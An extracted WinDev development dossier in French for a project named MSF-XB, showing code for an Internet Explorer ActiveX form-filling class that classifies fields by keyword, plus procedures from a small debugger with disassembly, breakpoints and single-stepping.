// Si l'indice correspond à un objet TEXTAREASI :m_nNbSelect+:m_nNbInput < pni <= :m_nNbSelect+:m_nNbInput+:m_nnbtextarea ALORS

// Selectionne l'objet:m_pDisp = :m_pCollectionTextArea>>item(pni-:m_nNbSelect-:m_nNbInput-1)

FIN

// Récupère les propriétés de l'objet:GetPropriétésObjet()

RENVOYER Vrai

Méthode bSubmitPROCEDURE bSubmit(pnI=0)// pnI est l'indice du formulaire dont on veut faire le SUBMIT

Page 1039: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1045

// Pointeur sur l'objetpDisp est un objet OLE dynamique

// Tantque la page n'est pas chargée : attente:TempoChargement()

QUAND EXCEPTION DANS // Pointeur sur une collection d'objets de type FORMpdisp = :m_pActiveX>>Document>>getElementsByTagName("FORM")

FAIREErreur("Le document n'est pas accessible.")ExceptionActive()RENVOYER Faux

FIN

// L'indice est-il correct ?SI pni > pdisp>>length ALORS

Erreur("Indice hors borne.")ExceptionActive()RENVOYER Faux

FIN

// s'il y a plusieurs formulaire et qu'aucun indice n'a été préciséSI pdisp>>length > 1 ET pnI=0 ALORS

Info("Il y a plusieurs formulaires dans cette page.","Il n'est pas possible de déterminer automatiquement sur quel formulaire faire le SUBMIT.")ExceptionActive()RENVOYER Faux

FIN

// Sélection du formulairepDisp = pdisp>>item(pni)SI pdisp<>Null

// SubmitQUAND EXCEPTION DANS

RENVOYER pdisp>>SubmitFAIRE

ExceptionActive()RENVOYER Faux

FINFIN

RENVOYER Faux

Méthode CalculeCoordonnées

Page 1040: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1046

PROCEDURE PRIVÉE CalculeCoordonnées()// pnI est l'indice de l'objet dans la collection courante// Calcul des coordonnées clientes de l'objet dans Internet Explorer

x, y sont des entiers

// Pointeur sur l'objetpDisp est un objet OLE dynamique = :m_pdispSI pdisp = Null ALORS

x = 0y = 0

FIN

TANTQUE pdisp<>Null// on compte soit le TR soit le TD mais pas les deuxSI pdisp>>tagName<>"TR" ALORS

// on ne compte pas nom plus le formulaireSI pdisp>>tagName<>"FORM" ALORS

// Coordonnées de l'objet par rapport à son parentx += pdisp>>offsetLefty += pdisp>>offsetTop

FINFIN

// Parent de l'élémentpDisp = pdisp>>parentElement

FIN

:m_nx = x:m_ny = y

ConstructeurPROCEDURE Constructeur(psActiveX)// psActiveX est le NOM du champ ActiveX (de type chaîne)

:m_sActiveX = psActiveX

DestructeurPROCEDURE Destructeur()

libérer :m_pActiveX

Page 1041: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1047

libérer :m_pCollectionInputlibérer :m_pCollectionSelect

Méthode GetPropriétésObjetPROCEDURE GetPropriétésObjet()// Remplissage des propiétés existantes

// Nom du tag (ex: INPUT)QUAND EXCEPTION DANS

:m_sNomTag = :m_pdisp>>tagNameFAIRE

ExceptionActive():m_sNomTag = ""

FIN

// Type de l'objet (ex: TEXT)QUAND EXCEPTION DANS

:m_sType = :m_pdisp>>typeFAIRE

ExceptionActive():m_sType = ""

FIN

// Nom de l'objet QUAND EXCEPTION DANS

:m_sNom = :m_pdisp>>nameFAIRE

ExceptionActive():m_sNom = ""

FIN

// Largeur de l'objetQUAND EXCEPTION DANS

:m_nLargeur = :m_pdisp>>widthFAIRE

ExceptionActive():m_nLargeur = 0

FIN

// Hauteur de l'objetQUAND EXCEPTION DANS

:m_nHauteur = :m_pdisp>>heightFAIRE

Page 1042: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1048

ExceptionActive():m_nHauteur = 0

FIN

// Calcul des coordonnées cliente de l'objet dans Internet Explorer:CalculeCoordonnées()

// LibelléQUAND EXCEPTION DANS

:m_sTexte = :sLibelléParent()FAIRE

ExceptionActive():m_sTexte = ""

FIN

// OccurrenceQUAND EXCEPTION DANS

:m_nOccurrence = :m_pdisp>>options>>lengthFAIRE

ExceptionActive():m_nOccurrence = 0

FIN

// Valeur de l'objetQUAND EXCEPTION DANS

SELON :m_sTypeCAS "checkbox", "radio"

:m_sValeur = :m_pdisp>>statusCAS "select-one"

:m_sValeur = Val(:m_pdisp>>selectedIndex)+1AUTRE CAS

:m_sValeur = :m_pdisp>>valueFIN

FAIREExceptionActive():m_sValeur = ""

FIN

Méthode InitActiveXPROCEDURE InitActiveX()// Initialisation du champ ActiveX

// L'ActiveX est-il installé ?SI PAS RegistreExiste("HKEY_CLASSES_ROOT\Shell.Explorer") ALORS

Page 1043: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1049

Erreur("Cette application nécessite Internet Explorer 4 minimum")FinProgramme()

FIN

// Chargement de l'ActiveX{:m_sActiveX}="Shell.Explorer"

// Instanciation OK ?:m_pActiveX = {:m_sActiveX}SI :m_pActiveX=Null ALORS

FinProgramme("L'ActiveX Internet Explorer n'a pas pu être chargé.")FIN

// Evénement de début de chargement de pageActiveXEvénement(":XWEB_DownloadBegin",:m_sActiveX,"DownloadBegin")

// Evénement de fin de chargement de pageActiveXEvénement(":XWEB_DownloadComplete",:m_sActiveX,"DownloadComplete")

Méthode nObjetsFormulairePROCEDURE nObjetsFormulaire()// Renvoie le nombre d'objets du type formulaire// peuvent être du type : submit reset checkbox radio select text hidden

// Tantque la page n'est pas chargée : attente:TempoChargement()

QUAND EXCEPTION DANS// Pointeur sur une collection d'objets de type INPUT:m_pCollectioninput = :m_pActiveX>>Document>>getElementsByTagName("input")

FAIREErreur("Le document n'est pas accessible.")ExceptionActive()RENVOYER 0

FIN

// Nombre d'objets de la collection:m_nNbInput = :m_pCollectioninput>>length

// Pointeur sur une collection d'objets de type SELECT:m_pCollectionSelect = :m_pActiveX>>Document>>getElementsByTagName("select")// Nombre d'objets de la collection:m_nNbSelect = :m_pCollectionSelect>>length

Page 1044: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1050

// Pointeur sur une collection d'objets de type TextAREA:m_pCollectionTextArea = :m_pActiveX>>Document>>getElementsByTagName("textarea")// Nombre d'objets de la collection:m_nNbTextArea = :m_pCollectionTextArea>>length

// Renvoie le nombre totalRENVOYER :m_nNbInput+:m_nNbSelect+:m_nNbTextArea

Méthode RAZPROCEDURE PRIVÉE RAZ()

:m_sNomTag = "":m_sType = "":m_sNom = "":m_sValeur = "":m_nLargeur = 0:m_nHauteur = 0:m_nX = 0:m_ny = 0

Méthode SetURLPROCEDURE SetURL(psAdresse)// Va à l'adresse spécifiée

:m_bCharge=Faux:m_pActiveX>>Navigate(psAdresse)

Méthode SetValeurPROCEDURE SetValeur(psValeur="")// psValeur est la valeur à affectée

// Tantque la page n'est pas chargée : attente:TempoChargement()

QUAND EXCEPTION DANS// Pointeur sur l'objetpDisp est un objet OLE dynamique = :m_pdispSI pdisp<>Null ALORS

Page 1045: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1051

SELON pdisp>>typeCAS "checkbox", "radio"

pdisp>>status = psvaleurCAS "select-one"

pdisp>>selectedIndex = Val(psvaleur)-1AUTRE CAS

pdisp>>value = psvaleurFIN

:m_sValeur = psvaleurFIN

FAIREExceptionActive():m_sValeur = ""

FIN

Méthode sLibelléParentPROCEDURE PRIVÉE sLibelléParent()// Le libellé d'un champ de saisie en HTML n'est pas propre au champ de saisie// Il s'agit en général d'un libellé à part situé à gauche ou au dessus du champ de saisie// Pour récupérer ce libellé, il suffit d'intéroger le texte situé dans l'objet parent (cellule, ligne de table...) du champ de saisie

i est un entiersTexte est une chaîne

// Tantque la page n'est pas chargée : attente:TempoChargement()

// Pointeur sur l'objetpDisp est un objet OLE dynamique = :m_pdispSI pdisp = Null RENVOYER ""

// Recherche du prochain parent contenant du texte TANTQUE sTexte~=""

QUAND EXCEPTION DANS

// LibellésTexte = pdisp>>outerText

// ParentpDisp = pDisp>>parentElement

Page 1046: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1052

// ça ne sert à rien de remonter trop hauti++;SI i>6 SORTIR

FAIREExceptionActive()SORTIR

FINFIN

RENVOYER stexte

Méthode sRechercheRubriquePROCEDURE sRechercheRubrique(psChaine)// psChaine est la chaine à parser// la valeur renvoyée est une rubrique (ex: prenom)nCivilité est un entiernNom est un entiernPrenom est un entiernSociété est un entiernFonction est un entiernPseudo est un entiernAdresse1 est un entiernAdresse2 est un entiernVille est un entiernDepartement est un entiernPays est un entiernBatiment est un entiernCP est un entiernEtage est un entiernEmail est un entiernTelephonePerso est un entiernTelephonePro est un entiernFax est un entiernDateNaissance est un entiernAge est un entiernMDP est un entier

// CiviliténCivilité = ChaîneOccurrence(psChaine, "civilite", SansCasse)+ChaîneOccurrence(psChaine, "genre", SansCasse)+ChaîneOccurrence(psChaine, "civility", SansCasse)+ChaîneOccurrence(psChaine, "titre", SansCasse)+ChaîneOccurrence(psChaine, "civ", SansCasse)+ChaîneOccurrence(psChaine, "m.", SansCasse)+ChaîneOccurrence(psChaine, "mme", SansCasse)+ChaîneOccurrence(psChaine, "mlle", SansCasse)+ChaîneOccurrence(psChaine, "mr", SansCasse)+ChaîneOccurrence(psChaine, "mrs", SansCasse)+ChaîneOccurrence(psChaine, "miss", SansCasse)+ChaîneOccurrence(psChaine, "monsieur",

Page 1047: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1053

SansCasse)+ChaîneOccurrence(psChaine, "madame", SansCasse)+ChaîneOccurrence(psChaine, "mademoiselle", SansCasse)

// NomnNom = ChaîneOccurrence(psChaine, "nom",SansCasse)+ChaîneOccurrence(psChaine, "nom",MotComplet+SansCasse)+ChaîneOccurrence(psChaine, "name", SansCasse)

// PrénomnPrenom = ChaîneOccurrence(psChaine, "prenom", SansCasse)+ChaîneOccurrence(psChaine, "prenom", SansCasse+MotComplet)+ChaîneOccurrence(psChaine, "first", SansCasse)+ChaîneOccurrence(psChaine, "firstname", SansCasse)

// SociéténSociété = ChaîneOccurrence(psChaine, "société", SansCasse)+ChaîneOccurrence(psChaine, "company", SansCasse)

// FonctionnFonction = ChaîneOccurrence(psChaine, "fonction", SansCasse)+ChaîneOccurrence(psChaine, "poste", SansCasse)+ChaîneOccurrence(psChaine, "job", SansCasse)+ChaîneOccurrence(psChaine, "activité", SansCasse)

// PseudonPseudo = ChaîneOccurrence(psChaine, "pseudo", SansCasse)+ChaîneOccurrence(psChaine, "surnom", SansCasse)+ChaîneOccurrence(psChaine, "nickname", SansCasse)

// Adresse1nAdresse1 = ChaîneOccurrence(psChaine, "adress", SansCasse)+ChaîneOccurrence(psChaine, "adr", SansCasse)+ChaîneOccurrence(psChaine, "1", SansCasse)+ChaîneOccurrence(psChaine, "debut", SansCasse)

// Adresse2nAdresse2 = ChaîneOccurrence(psChaine, "adress", SansCasse)+ChaîneOccurrence(psChaine, "adr", SansCasse)+ChaîneOccurrence(psChaine, "2", SansCasse)+ChaîneOccurrence(psChaine, "suite", SansCasse)

// VillenVille = ChaîneOccurrence(psChaine, "ville", SansCasse)+ChaîneOccurrence(psChaine, "city", SansCasse)+ChaîneOccurrence(psChaine, "localité", SansCasse)

// Code PostalnCP = ChaîneOccurrence(psChaine, "code", SansCasse)+ChaîneOccurrence(psChaine, "postal", SansCasse)

// DépartementnDepartement = ChaîneOccurrence(psChaine, "departement", SansCasse)+ChaîneOccurrence(psChaine, "department", SansCasse)+ChaîneOccurrence(psChaine, "dpt", SansCasse)

// PaysnPays = ChaîneOccurrence(psChaine, "pays", SansCasse)+ChaîneOccurrence(psChaine, "state", SansCasse)

// BatimentnBatiment = ChaîneOccurrence(psChaine, "bat", SansCasse)+ChaîneOccurrence(psChaine, "batiment", SansCasse)+ChaîneOccurrence(psChaine, "buildings", SansCasse)

Page 1048: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1054

// EtagenEtage = ChaîneOccurrence(psChaine, "etage", SansCasse)+ChaîneOccurrence(psChaine, "floor", SansCasse)

// EmailnEmail = ChaîneOccurrence(psChaine, "mail", SansCasse)+ChaîneOccurrence(psChaine, "mail", SansCasse+MotComplet)+ChaîneOccurrence(psChaine, "adress", SansCasse)+ChaîneOccurrence(psChaine, "adr", SansCasse)

// Téléphone personTelephonePerso = ChaîneOccurrence(psChaine, "phone", SansCasse)+ChaîneOccurrence(psChaine, "perso", SansCasse)

// Téléphone pronTelephonePro = ChaîneOccurrence(psChaine, "phone", SansCasse)+ChaîneOccurrence(psChaine, "travail", SansCasse)+ChaîneOccurrence(psChaine, "pro", SansCasse)+ChaîneOccurrence(psChaine, "work", SansCasse)

// nFaxnFax = ChaîneOccurrence(psChaine, "fax", SansCasse)

// Date de naissancenDateNaissance = ChaîneOccurrence(psChaine, "anniversaire", SansCasse)+ChaîneOccurrence(psChaine, "date", SansCasse)+ChaîneOccurrence(psChaine, "day", SansCasse)+ChaîneOccurrence(psChaine, "naissance", SansCasse)+ChaîneOccurrence(psChaine, "birthday", SansCasse)

// AgenAge = ChaîneOccurrence(psChaine, "age", SansCasse)+ChaîneOccurrence(psChaine, "year", SansCasse)+ChaîneOccurrence(psChaine, "old", SansCasse)

// Mot de passenMDP = ChaîneOccurrence(psChaine, "mot", SansCasse)+ChaîneOccurrence(psChaine, "pass", SansCasse)+ChaîneOccurrence(psChaine, "mdp", SansCasse)+ChaîneOccurrence(psChaine, "password", SansCasse)+ChaîneOccurrence(psChaine, "psw", SansCasse)

// Recherche du meilleur scoresRetour, sVar sont des chaînes

// InitialisationsRetour = "civilite"sVar = "nCivilité"

SI {sVar}<nNom ALORSsRetour = "nom"sVar = "nNom"

FINSI {sVar}<nPrenom ALORS

sRetour = "prenom"sVar = "nPrenom"

FINSI {sVar}<nSociété ALORS

sRetour =

Page 1049: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1055

"societe"sVar = "nsociete"

FINSI {sVar}<nFonction ALORS

sRetour = "fonction"sVar = "nFonction"

FINSI {sVar}<nPseudo ALORS

sRetour = "pseudo"sVar = "nPseudo"

FINSI {sVar}<nAdresse1 ALORS

sRetour = "adresse1"sVar = "nAdresse1"

FINSI {sVar}<nAdresse2 ALORS

sRetour = "adresse2"sVar = "nAdresse2"

FINSI {sVar}<nVille ALORS

sRetour = "ville"sVar = "nVille"

FINSI {sVar}<nDepartement ALORS

sRetour = "departement"sVar = "nDepartement"

FINSI {sVar}<nPays ALORS

sRetour = "pays"sVar = "nPays"

FINSI {sVar}<nBatiment ALORS

sRetour = "batiment"sVar = "nBatiment"

FINSI {sVar}<nCP ALORS

sRetour = "codepostal"sVar = "nCP"

FINSI {sVar}<nEtage ALORS

sRetour = "etage"sVar = "nEtage"

FINSI {sVar}<nEmail ALORS

sRetour =

Page 1050: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1056

"email"sVar = "nEmail"

FINSI {sVar}<nTelephonePerso ALORS

sRetour = "telephoneperso"sVar = "nTelephonePerso"

FINSI {sVar}<nTelephonePro ALORS

sRetour = "telephonepro"sVar = "nTelephonepro"

FINSI {sVar}<nFax ALORS

sRetour = "fax"sVar = "nFax"

FINSI {sVar}<nDateNaissance ALORS

sRetour = "datenaissance"sVar = "nDateNaissance"

FINSI {sVar}<nAge ALORS

sRetour = "age"sVar = "nAge"

FINSI {sVar}<nMDP ALORS

sRetour = "mdp"sVar = "nMDP"

FIN

// si aucun mot clé n'a été trouvéSI {sVar}=0 ALORS

sRetour = ""FIN

RENVOYER sRetour

Méthode sSourcePROCEDURE sSource()// Renvoie le code source HTML

// Tantque la page n'est pas chargée : attente:TempoChargement()

QUAND EXCEPTION DANS

Page 1051: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 7

26/10/2008 1057

RENVOYER :m_pActiveX>>Document>>body>>outerHTMLFAIRE

ExceptionActive()RENVOYER ""

FIN

Méthode sTextePROCEDURE sTexte()// Renvoie toute la partie texte de la page HTML

// Tantque la page n'est pas chargée : attente:TempoChargement()

QUAND EXCEPTION DANSRENVOYER :m_pActiveX>>Document>>body>>outerText

FAIREExceptionActive()RENVOYER ""

FIN

Méthode TempoChargementPROCEDURE TempoChargement()// Tantque la page n'est pas chargée : attente

TANTQUE :m_bCharge=FauxMultitâche(-10)

FIN

Méthode XWEB_DownloadBeginPROCEDURE XWEB_DownloadBegin()//Début de chargement d'une page

:m_bCharge=Faux

Méthode XWEB_DownloadCompletePROCEDURE XWEB_DownloadComplete()//Fin de chargement d'une page

:m_bCharge=Vrai

Page 1052: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1058

Partie 8Collection de procédures

Page 1053: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1059

WDDEBUG Code

Procédure globale DisassembleCode// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://DisassembleCode ( [<StartCodeSection> est entier sans signe sur 4 octets [, <VL_EndCodeSection> est entier sans signe sur 4 octets [, <VL_VirtualAddr> est entier sans signe sur 4 octets [, <bAjout> [, <bJauge>]]]]])

//// Paramètres :// StartCodeSection (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de pBuffer>// VL_EndCodeSection (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_Taille >// VL_VirtualAddr (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de VL_VirtualAddr>// bAjout (valeur par défaut=1) : < indiquez ici le rôle de bAjout >// bJauge (valeur par défaut=0) : < indiquez ici le rôle de bJauge >// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE DisassembleCode(StartCodeSection est un entier sans signe sur 4 octets=0, VL_EndCodeSection est un entier sans signe sur 4 octets=0, VL_VirtualAddr est un entier sans signe sur 4 octets=0,bAjout=Vrai,bJauge=Faux)

bError est un booléen = Faux

Disasm:EIP = StartCodeSectionDisasm:VirtualAddr = VL_VirtualAddrDisasm:Archi = 0

len est un entier = 0

EndCodeSection est un entier = VL_EndCodeSection

cpt est un entier = 1VL_Taille est un entier = EndCodeSection - Disasm:EIP

TANTQUE (bError=Faux)

Page 1054: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1060

Disasm:SecurityBlock = EndCodeSection - Disasm:EIP

SI bajout=Vrai ALORSJauge ((VL_Taille-Disasm:SecurityBlock),VL_Taille)

FIN

Len = AppelDLL32(VGP_RepDebugger+VGP_DisasmLibrary,"Disasm",&Disasm)SI (Len=OUT_OF_BLOCK) ALORS

bError=VraiSINON

SI (Len=UNKNOWN_OPCODE) ALORSbError=True

SINON

SI bajout=Vrai ALORS// TableAjouteLigne(FEN_MAIN_WDDEBUG.Table1,NumériqueVersChaîne(Disasm:VirtualAddr,"08X"),Majuscule(Disasm:CompleteInstr))

TableAjouteLigne(FEN_MAIN_WDDEBUG.Table1,NumériqueVersChaîne(Disasm:VirtualAddr,"08X"),Majuscule(Disasm:CompleteInstr))SINON

ind est un entier = TableSelect(FEN_MAIN_WDDEBUG.Table1)SI TableOccurrence(FEN_MAIN_WDDEBUG.Table1)<ind+cpt ALORS

TableAjouteLigne(FEN_MAIN_WDDEBUG.Table1,NumériqueVersChaîne(Disasm:VirtualAddr,"08X"),Majuscule(Disasm:CompleteInstr))

SINONTableModifieLigne(FEN_MAIN_WDDEBUG.Table1,ind+cpt,NumériqueVersChaîne(Disasm:VirtualAddr,"08X"),Majuscule(Disasm:CompleteInstr))

FIN

cpt++

FINDisasm:EIP = Disasm:EIP+LenDisasm:VirtualAddr = Disasm:VirtualAddr + len IF (Disasm:EIP>= EndCodeSection) THEN

bError=TrueEND

FINFIN

Multitâche(-1)FIN//si bajout=vrai ALORS// jauge ()//FIN

Procédure globale VGP_DBG_NEXT_INSTR

Page 1055: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1061

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] VGP_DBG_NEXT_INSTR ( [<VL_Adresse> est entier sans signe sur 4 octets [, <VL_TailleDisasm> est entier sans signe sur 4 octets]])

//// Paramètres :// VL_Adresse (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de StartCodeSection>// VL_TailleDisasm (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de VL_Taille>// Valeur de retour :// Type indéterminé : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//// VL_EndCodeSection (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de VL_EndCodeSection>// VL_VirtualAddr (entier sans signe sur 4 octets - valeur par défaut=0) : <indiquez ici le rôle de VL_VirtualAddr>PROCEDURE VGP_DBG_NEXT_INSTR(VL_Adresse est un entier sans signe sur 4 octets=0,VL_TailleDisasm est un entier sans signe sur 4 octets=0)

pBuffer est un entier sans signe sur 4 octets = 0

pBuffer=API("KERNEL32","VirtualAlloc",Null,VL_TailleDisasm,OUBinaire(MEM_COMMIT,MEM_RESERVE),PAGE_READWRITE)

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_Adresse,pBuffer,VL_TailleDisasm,Null)

Disasm:EIP = pBufferDisasm:VirtualAddr = VL_AdresseDisasm:Archi = 0

len est un entier = 0

EndCodeSection est un entier = pBuffer+VL_TailleDisasm

nCpt est un entier = 1VL_Taille est un entier = EndCodeSection - Disasm:EIP

len = AppelDLL32(VGP_RepDebugger+VGP_DisasmLibrary,"Disasm",&Disasm)SI (len=OUT_OF_BLOCK) ALORS

API("KERNEL32","VirtualFree",pBuffer,VL_TailleDisasm,0x8000)RENVOYER 0

SINONSI (len=UNKNOWN_OPCODE) ALORS

API("KERNEL32","VirtualFree",pBuffer,VL_TailleDisasm,0x8000)RENVOYER 0

SINONAPI("KERNEL32","VirtualFree",pBuffer,VL_Taille,0x8000)

Page 1056: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1062

// trace (NumériqueVersChaîne(Disasm:VirtualAddr,"08X")+" / branch: "+Disasm:stInstruction:nBranchType)//// si (Disasm:stInstruction:nBranchType<>0) ALORS// trace ("branch instruction")// sinon// si (Disasm:stArgument1:nAccessMode = 0x1) et (Disasm:stArgument2:nAccessMode = 0x1) ALORS// trace ("compare instruction")// FIN// FIN

RENVOYER Disasm:VirtualAddr+lenFIN

FIN

Procédure globale WD_AJOUTE_REGISTRE// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_AJOUTE_REGISTRE ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_AJOUTE_REGISTRE()

TableSupprimeTout(FEN_MAIN_WDDEBUG.TAB_REGISTRE)TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"EAX","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"ECX","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"EDX","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"EBX","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"ESP","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"EBP","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"ESI","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"EDI","00000000")TableAjouteLigne(FEN_MAIN_WDDEBUG.TAB_REGISTRE,"EIP","00000000")

Procédure globale WD_DBG_RUN_PROGRAM

Page 1057: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1063

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_DBG_RUN_PROGRAM ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_DBG_RUN_PROGRAM()

API ("KERNEL32.DLL","ResumeThread",myPI:hThread)

Procédure globale WD_DBG_STEP_INTO// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_DBG_STEP_INTO ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_DBG_STEP_INTO()

VGP_LastTrace = "INTO"

myEIP est un entier sans signe sur 4 octets

context:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULL

API ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)

myEIP = context:Eip

context:EFlags = OUBinaire(context:EFlags,0x100)

API ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

Page 1058: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1064

nMyNextInstr est un entier sans signe sur 4 octets = VGP_DBG_NEXT_INSTR (myEIP,15)

VGP_LastBranch = Disasm:stInstruction:nBranchType

API ("KERNEL32.DLL","ResumeThread",myPI:hThread)

Procédure globale WD_DBG_STEP_OVER// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_DBG_STEP_OVER ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_DBG_STEP_OVER()

VGP_LastTrace = "OVER"

myEIP est un entier sans signe sur 4 octetscontext:ContextFlags = FEN_MAIN_WDDEBUG.CONTEXT_FULL

API ("KERNEL32.DLL","GetThreadContext",myPI:hThread,&context)myEIP = context:EipAPI ("KERNEL32.DLL","SetThreadContext",myPI:hThread,&context)

myNextInstr est un entier sans signe sur 4 octets = VGP_DBG_NEXT_INSTR (myEIP,15)

VGP_LastBranch = Disasm:stInstruction:nBranchType

SI Disasm:stInstruction:nBranchType <> 12 ALORSWD_DBG_STEP_INTO()

SINONSI myNextInstr>0 ALORS

WD_DEBUG_SET_BREAKPOINT (myPI:hProcess,myNextInstr,VGP_BPX,VGP_Bpx_Etat_OneShot)API ("KERNEL32.DLL","ResumeThread",myPI:hThread)

FINFIN

Procédure globale WD_DEBUG_REMOVE_BREAKPOINT

Page 1059: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1065

// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] WD_DEBUG_REMOVE_BREAKPOINT ( [<hProcess> est entier [, <nNum> est entier]])//// Paramètres :// hProcess (entier - valeur par défaut=0) : <indiquez ici le rôle de hProcess>// nNum (entier - valeur par défaut=0) : <indiquez ici le rôle de nNum>// Valeur de retour :// booléen : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_DEBUG_REMOVE_BREAKPOINT(hProcess est un entier=0,nNum est un entier=0)

